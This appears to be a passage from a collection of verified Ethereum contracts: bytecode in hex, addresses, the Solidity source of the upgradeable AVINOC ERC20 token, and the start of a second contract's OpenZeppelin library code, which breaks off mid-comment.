5260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610a87565b60006126a283611858565b9050806001600160a01b0316846001600160a01b031614806126dd5750836001600160a01b03166126d284610b5e565b6001600160a01b0316145b806121d257506121d281856120dd565b826001600160a01b031661270082611858565b6001600160a01b03161461277c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610a87565b6001600160a01b0382166127f75760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610a87565b612802600082612469565b816002828154811061281657612816613a4e565b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b600061288882611858565b9050612895600083612469565b600282815481106128a8576128a8613a4e565b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff191690556040518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60006129138383612d68565b600e546001600160a01b039182169116149392505050565b600880546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156129ec5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a87565b6001600160a01b03838116600081815260046020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b612a648484846126ed565b612a7084848484612d8c565b61109d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a87565b606081612b2257505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612b4c5780612b3681613a64565b9150612b459050600a83613bb5565b9150612b26565b60008167ffffffffffffffff811115612b6757612b6761354f565b6040519080825280601f01601f191660200182016040528015612b91576020820181803683370190505b5090505b84156121d257612ba6600183613a9e565b9150612bb3600a86613bc9565b612bbe906030613a36565b60f81b818381518110612bd357612bd3613a4e565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612c0d600a86613bb5565b9450612b95565b6000604051806080016040528060438152602001613c4d6043913980516020918201208351848301516040808701518051908601209051612c74950193845260208401929092526001600160a01b03166040830152606082015260800190565b604051602081830303815290604052805190602001209050919050565b6000612c9c60065490565b6040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281019190915260428101839052606201612c74565b6000612ce783612f2a565b9050612cf66000848385612d8c565b610a2b5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a87565b6000806000612d778585613010565b91509150612d8481613080565b509392505050565b60006001600160a01b0384163b15612f1f576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290612de9903390899088908890600401613bdd565b6020604051808303816000875af1925050508015612e24575060408051601f3d908101601f19168201909252612e2191810190613c19565b60015b612ed4573d808015612e52576040519150601f19603f3d011682016040523d82523d6000602084013e612e57565b606091505b508051612ecc5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a87565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506121d2565b506001949350505050565b60006001600160a01b038216612f825760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a87565b506002546002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4919050565b6000808251604114156130475760208301516040840151606085015160001a61303b87828585613271565b94509450505050613079565b825160401415613071576020830151604084015161306686838361335e565b935093505050613079565b506000905060025b9250929050565b600081600481111561309457613094613c36565b141561309d5750565b60018160048111156130b1576130b1613c36565b14156130ff5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a87565b600281600481111561311357613113613c36565b14156131615760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a87565b600381600481111561317557613175613c36565b14156131e95760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a87565b60048160048111156131fd576131fd613c36565b14156113615760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a87565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156132a85750600090506003613355565b8460ff16601b141580156132c057508460ff16601c14155b156132d15750600090506004613355565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015613325573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661334e57600060019250925050613355565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b0161339887828885613271565b935093505050935093915050565b8280546133b290613950565b90600052602060002090601f0160209004810192826133d4576000855561341a565b82601f106133ed5782800160ff1982351617855561341a565b8280016001018555821561341a579182015b8281111561341a5782358255916020019190600101906133ff565b5061342692915061342a565b5090565b5b80821115613426576000815560010161342b565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461136157600080fd5b60006020828403121561347f57600080fd5b81356125f88161343f565b60005b838110156134a557818101518382015260200161348d565b8381111561109d5750506000910152565b600081518084526134ce81602086016020860161348a565b601f01601f19169290920160200192915050565b6020815260006125f860208301846134b6565b60006020828403121561350757600080fd5b5035919050565b6001600160a01b038116811461136157600080fd5b6000806040838503121561353657600080fd5b82356135418161350e565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261357657600080fd5b813567ffffffffffffffff808211156135915761359161354f565b604051601f8301601f19908116603f011681019082821181831017156135b9576135b961354f565b816040528381528660208588010111156135d257600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080600080600060a0868803121561360a57600080fd5b85356136158161350e565b9450602086013567ffffffffffffffff81111561363157600080fd5b61363d88828901613565565b9450506040860135925060608601359150608086013560ff8116811461366257600080fd5b809150509295509295909350565b6000806020838503121561368357600080fd5b823567ffffffffffffffff8082111561369b57600080fd5b818501915085601f8301126136af57600080fd5b8135818111156136be57600080fd5b8660208285010111156136d057600080fd5b60209290920196919550909350505050565b600080602083850312156136f557600080fd5b823567ffffffffffffffff8082111561370d57600080fd5b818501915085601f83011261372157600080fd5b81358181111561373057600080fd5b8660208260051b85010111156136d057600080fd5b60008060006060848603121561375a57600080fd5b83356137658161350e565b925060208401356137758161350e565b929592945050506040919091013590565b60006020828403121561379857600080fd5b81356125f88161350e565b6000806000606084860312156137b857600080fd5b8335925060208401359150604084013567ffffffffffffffff8111156137dd57600080fd5b6137e986828701613565565b9150509250925092565b6000806040838503121561380657600080fd5b82356138118161350e565b91506020830135801515811461382657600080fd5b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156138725783516001600160a01b03168352928401929184019160010161384d565b50909695505050505050565b6000806000806080858703121561389457600080fd5b843561389f8161350e565b935060208501356138af8161350e565b925060408501359150606085013567ffffffffffffffff8111156138d257600080fd5b6138de87828801613565565b91505092959194509250565b6020808252825182820181905260009190848201906040850190845b8181101561387257835183529284019291840191600101613906565b6000806040838503121561393557600080fd5b82356139408161350e565b915060208301356138268161350e565b600181811c9082168061396457607f821691505b6020821081141561155457634e487b7160e01b600052602260045260246000fd5b60006001600160a01b038086168352808516602084015250606060408301526139b160608301846134b6565b95945050505050565b600083516139cc81846020880161348a565b60609390931b7fffffffffffffffffffffffffffffffffffffffff000000000000000000000000169190920190815260140192915050565b60008251613a1681846020870161348a565b9190910192915050565b634e487b7160e01b600052601160045260246000fd5b60008219821115613a4957613a49613a20565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415613a7857613a78613a20565b5060010190565b6000816000190483118215151615613a9957613a99613a20565b500290565b600082821015613ab057613ab0613a20565b500390565b8054600090600181811c9080831680613acf57607f831692505b6020808410821415613af157634e487b7160e01b600052602260045260246000fd5b818015613b055760018114613b1657613b43565b60ff19861689528489019650613b43565b60008881526020902060005b86811015613b3b5781548b820152908501908301613b22565b505084890196505b50505050505092915050565b6000613b5b8286613ab5565b8451613b6b81836020890161348a565b613b7781830186613ab5565b979650505050505050565b600060208284031215613b9457600080fd5b81516125f88161350e565b634e487b7160e01b600052601260045260246000fd5b600082613bc457613bc4613b9f565b500490565b600082613bd857613bd8613b9f565b500690565b60006001600160a01b03808716835280861660208401525083604083015260806060830152613c0f60808301846134b6565b9695505050505050565b600060208284031215613c2b57600080fd5b81516125f88161343f565b634e487b7160e01b600052602160045260246000fdfe4d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e617475726529a264697066735822122014e544c5863b6e78fd53629fc317a70dbaca4fac8dd92687df74ec0b66316b7264736f6c634300080b0033
[ 5 ]
0xf1ca9cb74685755965c7458528a36934df52a3ef
pragma solidity 0.4.24; // @title SafeMath // @dev Math operations with safety checks that throw on error library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } // @title Ownable // @dev The Ownable contract has an owner address, and provides basic authorization control // functions, this simplifies the implementation of "user permissions". contract Ownable { address public owner; // @dev The Ownable constructor sets the original `owner` of the contract to the sender account. constructor() public { owner = msg.sender; } // @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } // @dev Allows the current owner to transfer control of the contract to a newOwner. // @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); if (newOwner != address(0)) { owner = newOwner; } } } // @title ERC20Basic // @dev Simpler version of ERC20 interface // @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md contract ERC20Basic { event Transfer(address indexed from, address indexed to, uint value); function totalSupply() public view returns (uint256 supply); function balanceOf(address who) public view returns (uint256 balance); function transfer(address to, uint256 value) public returns (bool success); } // @title ERC20 interface // @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md contract ERC20 is ERC20Basic { event Approval(address indexed owner, address indexed spender, uint256 value); function allowance(address owner, address spender) public view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); } // @title Basic token // @dev Basic version of StandardToken, with no allowances. contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; // @dev Fix for the ERC20 short address attack. modifier onlyPayloadSize(uint256 size) { require(!(msg.data.length < size + 4)); _; } // @dev transfer token for a specified address // @param _to The address to transfer to. // @param _value The amount to be transferred. function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // @dev Gets the balance of the specified address. // @param _owner The address to query the the balance of. // @return An uint256 representing the amount owned by the passed address. function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // @title Standard ERC20 token // @dev Implementation of the basic standard token. // @dev https://github.com/ethereum/EIPs/issues/20 // @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol contract StandardToken is BasicToken, ERC20 { mapping(address => mapping(address => uint256)) public allowed; uint256 public constant MAX_UINT256 = 2 ** 256 - 1; // @dev Transfer tokens from one address to another // @param _from address The address which you want to send tokens from // @param _to address The address which you want to transfer to // @param _value uint256 the amount of tokens to be transferred function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) { require(_to != address(0)); require(_value <= balances[_from]); uint256 _allowance = allowed[_from][msg.sender]; require(_value <= _allowance); // @dev Treat 2^256-1 means unlimited allowance if (_allowance < MAX_UINT256) allowed[_from][msg.sender] = _allowance.sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } // @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. // Beware that changing an allowance with this method brings the risk that someone may use both the old // and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this // race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 // @param _spender The address which will spend the funds. // @param _value The amount of tokens to be spent. function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // @dev approve should be called when allowed[_spender] == 0. To increment allowed value is better to use // @dev this function to avoid 2 calls (and wait until the first transaction is mined) // @param _spender The address which will spend the funds. // @param _addedValue The amount of tokens to be added to the allowance. function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // @dev Function to check the amount of tokens than an owner allowed to a spender. // @param _owner address The address which owns the funds. // @param _spender address The address which will spend the funds. // @return A uint256 specifying the amount of tokens still available for the spender. function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } // @title Upgraded standard token // @dev Contract interface that the upgraded contract has to implement // @dev Methods to be called by the legacy contract // @dev They have to ensure msg.sender to be the contract address contract UpgradedStandardToken is StandardToken { function transferByLegacy(address from, address to, uint256 value) public returns (bool success); function transferFromByLegacy(address sender, address from, address spender, uint256 value) public returns (bool success); function approveByLegacy(address from, address spender, uint256 value) public returns (bool success); function increaseApprovalByLegacy(address from, address spender, uint256 value) public returns (bool success); function decreaseApprovalByLegacy(address from, address spender, uint256 value) public returns (bool success); } // @title Upgradeable standard token // @dev The upgradeable contract interface // @dev // @dev They have to ensure msg.sender to be the contract address contract UpgradeableStandardToken is StandardToken { address public upgradeAddress; uint256 public upgradeTimestamp; // The contract is initialized with an upgrade timestamp close to the heat death of the universe. constructor() public { upgradeAddress = address(0); // Set the timestamp of the upgrade to some time close to the heat death of the universe. upgradeTimestamp = MAX_UINT256; } // Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached function transfer(address _to, uint256 _value) public returns (bool success) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached function balanceOf(address who) public view returns (uint256 balance) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).increaseApprovalByLegacy(msg.sender, _spender, _addedValue); } else { return super.increaseApproval(_spender, _addedValue); } } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { if (now > upgradeTimestamp) { return UpgradedStandardToken(upgradeAddress).decreaseApprovalByLegacy(msg.sender, _spender, _subtractedValue); } else { return super.decreaseApproval(_spender, _subtractedValue); } } // Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached function allowance(address _owner, address _spender) public view returns (uint256 remaining) { if (now > upgradeTimestamp) { return StandardToken(upgradeAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // Upgrade this contract with a new one, it will auto-activate 12 weeks later function upgrade(address _upgradeAddress) public onlyOwner { require(now < upgradeTimestamp); require(_upgradeAddress != address(0)); upgradeAddress = _upgradeAddress; upgradeTimestamp = now.add(12 weeks); emit Upgrading(_upgradeAddress, upgradeTimestamp); } // Called when contract is upgrading event Upgrading(address newAddress, uint256 timestamp); } // @title The AVINOC Token contract contract AVINOCToken is UpgradeableStandardToken { string public constant name = "AVINOC Token"; string public constant symbol = "AVINOC"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); uint256 public constant TOTAL_SUPPLY = 1000000000 * decimalFactor; constructor() public { balances[owner] = TOTAL_SUPPLY; } // @dev Don't accept ETH function() public payable { revert(); } // @dev return the fixed total supply function totalSupply() public view returns (uint256) { return TOTAL_SUPPLY; } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101215780630900f010146101ab578063095ea7b3146101ce57806318160ddd1461020657806323b872dd1461022d57806327e235e314610257578063313ce5671461027857806333a581d2146102a35780635c658165146102b8578063631f0d66146102df57806366188463146103105780636d6a6a4d1461033457806370a08231146103495780638da5cb5b1461036a578063902d55a51461037f578063921bd6f01461039457806395d89b41146103a9578063a9059cbb146103be578063d73dd623146103e2578063dd62ed3e14610406578063f2fde38b1461042d575b600080fd5b34801561012d57600080fd5b5061013661044e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cc600160a060020a0360043516610485565b005b3480156101da57600080fd5b506101f2600160a060020a0360043516602435610540565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b610618565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f2600160a060020a0360043581169060243516604435610628565b34801561026357600080fd5b5061021b600160a060020a03600435166106f9565b34801561028457600080fd5b5061028d61070b565b6040805160ff9092168252519081900360200190f35b3480156102af57600080fd5b5061021b610710565b3480156102c457600080fd5b5061021b600160a060020a0360043581169060243516610716565b3480156102eb57600080fd5b506102f4610733565b60408051600160a060020a039092168252519081900360200190f35b34801561031c57600080fd5b506101f2600160a060020a0360043516602435610742565b34801561034057600080fd5b5061021b610809565b34801561035557600080fd5b5061021b600160a060020a0360043516610815565b34801561037657600080fd5b506102f46108cd565b34801561038b57600080fd5b5061021b6108dc565b3480156103a057600080fd5b5061021b6108ec565b3480156103b557600080fd5b506101366108f2565b3480156103ca57600080fd5b506101f2600160a060020a0360043516602435610929565b3480156103ee57600080fd5b506101f2600160a060020a03600435166024356109b4565b34801561041257600080fd5b5061021b600160a060020a0360043581169060243516610a3f565b34801561043957600080fd5b506101cc600160a060020a0360043516610ac5565b60408051808201909152600c81527f4156494e4f4320546f6b656e0000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461049c57600080fd5b60045442106104aa57600080fd5b600160a060020a03811615156104bf57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790556104f442626ebe00610b2c565b600481905560408051600160a060020a0384168152602081019290925280517f31f318b4595f2fd3e053de63a164ee2bf718790dabfdab118b5573c6606971cb9281900390910190a150565b60006040604436101561055257600080fd5b60045442111561060457600354604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038781166024830152604482018790529151919092169163aee92d339160648083019260209291908290030181600087803b1580156105d157600080fd5b505af11580156105e5573d6000803e3d6000fd5b505050506040513d60208110156105fb57600080fd5b50519150610611565b61060e8484610b3b565b91505b5092915050565b6b033b2e3c9fd0803ce800000090565b60006004544211156106e457600354604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03878116602483015286811660448301526064820186905291519190921691638b477adb9160848083019260209291908290030181600087803b1580156106b157600080fd5b505af11580156106c5573d6000803e3d6000fd5b505050506040513d60208110156106db57600080fd5b505190506106f2565b6106ef848484610bb5565b90505b9392505050565b60016020526000908152604090205481565b601281565b60001981565b600260209081526000928352604080842090915290825290205481565b600354600160a060020a031681565b60006004544211156107f657600354604080517f6001279f000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636001279f9160648083019260209291908290030181600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d60208110156107ed57600080fd5b50519050610803565b6108008383610d35565b90505b92915050565b670de0b6b3a764000081565b60006004544211156108bc57600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b505050506040513d60208110156108b357600080fd5b505190506108c8565b6108c582610e24565b90505b919050565b600054600160a060020a031681565b6b033b2e3c9fd0803ce800000081565b60045481565b60408051808201909152600681527f4156494e4f430000000000000000000000000000000000000000000000000000602082015281565b60006004544211156109aa57600354604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636e18980a9160648083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610e3f565b6000600454421115610a3557600354604080517fa9538157000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163a95381579160648083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610f33565b6000600454421115610abb57600354604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610fcc565b600054600160a060020a03163314610adc57600080fd5b600160a060020a0381161515610af157600080fd5b600160a060020a03811615610b29576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000828201838110156106f257fe5b600060406044361015610b4d57600080fd5b336000818152600260209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60008060606064361015610bc857600080fd5b600160a060020a0385161515610bdd57600080fd5b600160a060020a038616600090815260016020526040902054841115610c0257600080fd5b600160a060020a0386166000908152600260209081526040808320338452909152902054915081841115610c3557600080fd5b600019821015610c7457610c4f828563ffffffff610ff716565b600160a060020a03871660009081526002602090815260408083203384529091529020555b600160a060020a038616600090815260016020526040902054610c9d908563ffffffff610ff716565b600160a060020a038088166000908152600160205260408082209390935590871681522054610cd2908563ffffffff610b2c16565b600160a060020a0380871660008181526001602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610d8957336000908152600260209081526040808320600160a060020a0388168452909152812055610dbe565b610d99818463ffffffff610ff716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600060406044361015610e5157600080fd5b600160a060020a0384161515610e6657600080fd5b33600090815260016020526040902054831115610e8257600080fd5b33600090815260016020526040902054610ea2908463ffffffff610ff716565b3360009081526001602052604080822092909255600160a060020a03861681522054610ed4908463ffffffff610b2c16565b600160a060020a0385166000818152600160209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610f67908363ffffffff610b2c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561100357fe5b509003905600a165627a7a72305820035f59e0b981f0f9e3ec408d8e3d65828ed6dcd1563e76a4cba52261982347a50029
[ 2 ]
0xf1cac3dae6ba2c818e880c1e5b0081f575483434
/** *Submitted for verification at Etherscan.io on 2021-03-15 */ // SPDX-License-Identifier: NOLC pragma solidity ^0.6.12; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of 